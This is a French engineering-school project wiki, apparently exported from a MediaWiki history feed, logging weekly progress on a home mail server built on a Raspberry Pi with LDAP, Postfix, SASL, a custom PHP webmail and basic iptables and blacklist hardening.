Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :&lt;br /&gt;
 cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed                           # Pour lister les messages de connexion échouées&lt;br /&gt;
 sed -ne 's/.*\[\([0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\)\].*/\1/p'      # Pour n'afficher que les ip&lt;br /&gt;
 *file* | sort | uniq                                                                     # Pour classer et éliminer les doublons&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.&lt;br /&gt;
&lt;br /&gt;
==== Postfix ====&lt;br /&gt;
Nous avons installé l'agent de transfert de mail Postfix (&amp;lt;code&amp;gt;apt-get install postfix postfix-ldap&amp;lt;/code&amp;gt;) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :&lt;br /&gt;
 telnet ex 25&lt;br /&gt;
 Trying xxx.xxx.xxx.xxx...&lt;br /&gt;
 Connected to intimail.pw.&lt;br /&gt;
 Escape character is '^]'.&lt;br /&gt;
 220 mail.intimail.pw&lt;br /&gt;
 ehlo intimail.pw&lt;br /&gt;
 250-mail.intimail.pw&lt;br /&gt;
 250-PIPELINING&lt;br /&gt;
 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : ''en cours''&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (RDV le 22/02 10h avec Laurent Engels)&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26861</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=26861"/>
				<updated>2016-02-10T12:48:14Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 19 (08/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
